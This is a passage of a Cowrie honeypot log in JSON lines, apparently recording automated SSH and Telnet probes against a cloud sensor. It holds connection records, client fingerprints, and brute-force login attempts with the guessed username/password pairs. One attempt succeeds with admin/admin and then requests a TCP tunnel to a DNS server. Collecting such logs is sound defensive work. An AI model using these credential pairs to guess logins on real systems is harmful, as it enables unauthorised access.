e-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:02.189524Z","src_ip":"205.210.31.92","session":"2960a2f2afc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":44312,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca0f1502045e","protocol":"ssh","message":"New connection: 109.172.54.111:44312 (159.203.135.109:22) [session: ca0f1502045e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:05.251345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:05.256764Z","src_ip":"109.172.54.111","session":"ca0f1502045e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:05.325340Z","src_ip":"87.251.79.125","session":"5131eec3b50f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:05.358071Z","src_ip":"109.172.54.111","session":"ca0f1502045e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10051991","message":"login attempt [root/10051991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:05.677571Z","src_ip":"109.172.54.111","session":"ca0f1502045e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:08.974557Z","src_ip":"109.172.54.111","session":"ca0f1502045e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:09.906053Z","src_ip":"205.210.31.92","session":"2960a2f2afc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":50250,"dst_ip":"159.203.135.109","dst_port":23,"session":"046e6f9e6de5","protocol":"telnet","message":"New connection: 165.22.57.101:50250 (159.203.135.109:23) [session: 046e6f9e6de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:14.070062Z"}
{"eventid":"cowrie.session.closed","duration":34.29661774635315,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:34.163182Z","src_ip":"69.4.83.194","session":"b2ae026393f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.61973428726196,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:46.689639Z","src_ip":"165.22.57.101","session":"046e6f9e6de5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50380,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ff264cbc29f","protocol":"telnet","message":"New connection: 69.4.83.194:50380 (159.203.135.109:23) [session: 7ff264cbc29f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:51.150654Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":18631,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b5232617a46","protocol":"ssh","message":"New connection: 20.193.141.133:18631 (159.203.135.109:22) [session: 0b5232617a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:35:14.417196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:35:14.422958Z","src_ip":"20.193.141.133","session":"0b5232617a46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:35:14.630227Z","src_ip":"20.193.141.133","session":"0b5232617a46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1220","message":"login attempt [root/1220] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:35:15.449993Z","src_ip":"20.193.141.133","session":"0b5232617a46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:35:16.648229Z","src_ip":"20.193.141.133","session":"0b5232617a46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.17610263824463,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:35:25.326651Z","src_ip":"69.4.83.194","session":"7ff264cbc29f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":54538,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c57c5ff2155","protocol":"ssh","message":"New connection: 171.244.37.103:54538 (159.203.135.109:22) [session: 5c57c5ff2155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:35:29.698179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:35:29.705070Z","src_ip":"171.244.37.103","session":"5c57c5ff2155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:35:29.946294Z","src_ip":"171.244.37.103","session":"5c57c5ff2155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:35:30.937171Z","src_ip":"171.244.37.103","session":"5c57c5ff2155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:35:32.181101Z","src_ip":"171.244.37.103","session":"5c57c5ff2155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.70.245.157","src_port":13486,"dst_ip":"159.203.135.109","dst_port":22,"session":"763d9b487cf8","protocol":"ssh","message":"New connection: 146.70.245.157:13486 (159.203.135.109:22) [session: 763d9b487cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:35:42.960116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:35:42.967230Z","src_ip":"146.70.245.157","session":"763d9b487cf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:35:43.106543Z","src_ip":"146.70.245.157","session":"763d9b487cf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@2020","message":"login attempt [root/Abc@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:35:43.644268Z","src_ip":"146.70.245.157","session":"763d9b487cf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:35:44.786911Z","src_ip":"146.70.245.157","session":"763d9b487cf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":47086,"dst_ip":"159.203.135.109","dst_port":23,"session":"7373ba78f98f","protocol":"telnet","message":"New connection: 69.4.83.194:47086 (159.203.135.109:23) [session: 7373ba78f98f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:35:59.472761Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":48314,"dst_ip":"10.17.0.5","dst_port":22,"session":"b053e827af66","protocol":"ssh","message":"New connection: 147.45.211.215:48314 (10.17.0.5:22) [session: b053e827af66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:36:20.997088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:36:21.002605Z","src_ip":"147.45.211.215","session":"b053e827af66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:36:21.178161Z","src_ip":"147.45.211.215","session":"b053e827af66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vika1998","message":"login attempt [root/vika1998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:36:21.699831Z","src_ip":"147.45.211.215","session":"b053e827af66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:36:22.875716Z","src_ip":"147.45.211.215","session":"b053e827af66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.48134899139404,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:36:33.953953Z","src_ip":"69.4.83.194","session":"7373ba78f98f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":40412,"dst_ip":"159.203.135.109","dst_port":23,"session":"aca9bd20b72d","protocol":"telnet","message":"New connection: 50.62.181.92:40412 (159.203.135.109:23) [session: aca9bd20b72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:36:56.010635Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":21454,"dst_ip":"10.17.0.5","dst_port":22,"session":"51533ba46829","protocol":"ssh","message":"New connection: 87.251.64.176:21454 (10.17.0.5:22) [session: 51533ba46829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:00.488082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:00.561133Z","src_ip":"87.251.64.176","session":"51533ba46829","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:00.657170Z","src_ip":"87.251.64.176","session":"51533ba46829","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:00.942103Z","src_ip":"87.251.64.176","session":"51533ba46829","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:01.041785Z","session":"51533ba46829","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:01.138883Z","src_ip":"87.251.64.176","session":"51533ba46829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:01.239128Z","src_ip":"87.251.64.176","session":"51533ba46829","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":13070,"dst_ip":"159.203.135.109","dst_port":22,"session":"37acbcbab842","protocol":"ssh","message":"New connection: 20.193.141.133:13070 (159.203.135.109:22) [session: 37acbcbab842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:07.174808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:07.179335Z","src_ip":"20.193.141.133","session":"37acbcbab842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm